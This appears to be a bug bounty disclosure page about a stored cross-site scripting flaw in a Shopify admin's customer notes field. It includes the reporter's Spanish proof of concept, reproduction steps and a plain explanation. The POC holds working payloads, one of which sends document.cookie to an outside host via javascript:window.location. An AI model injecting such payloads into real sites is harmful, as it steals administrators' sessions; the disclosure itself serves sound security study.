xss stored
A stored cross-site scripting flaw was found in the customer notes field of a Shopify admin panel, reachable only after logging in. An attacker who can write to that field could run script in the context of an admin viewing the note, potentially capturing cookies.
- Triaged in 40 hours
- Fixed in 36 days
- Paid in 4 days
- Disclosed after 45 days
Se encuentra un xss en las notas del cliente se requiere inicio de session, se encuentra en el campo notas de cliente
POC
https://macken22jorg.myshopify.com/admin/customers https://macken22jorg.myshopify.com/admin/customers/2901321318444
<h1>holaaaaaaa||<a href="http://<a href="http://<a href="http://<a href="javascript:alert(document.cookie)" onmouseover="javascript:alert(document.cookie)">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">gle.com</a> hhh <h1>holaaaaaaa||<a href="http://<a href="http://<a href="http://<a href="javascript:window.location='https://growncheckerworl.com/cookie.php?cookie=document.cookie'" >aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">gle.com</a> hhhkReferencias:
https://www.imperva.com/learn/application-security/cross-site-scripting-xss-attacks/
Impact
captura de cookies
Attachments





Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the customer notes field stored user-supplied HTML without sanitising or encoding it before rendering in the admin page.
Impact
An attacker who can write to the notes field could run script in an admin's session and potentially capture cookies, though the report gives no proof beyond the payload itself.
What the attacker needed
Valid admin login; ability to edit customer notes
How it was found
- Log in to the Shopify admin.
- Open the customers list and pick a customer record.
- Enter HTML with a script handler into the notes field and save it.
- Open the customer record so the stored markup renders and the script runs.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is when a website shows text that a user typed without cleaning it, so the browser treats it as code and runs it. Here the 'notes' box on a customer record accepted HTML and JavaScript, so anyone who could save a note could make an admin's browser run that code when they opened the record. The report says a login is needed, so the attacker must already have some access to the admin area.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.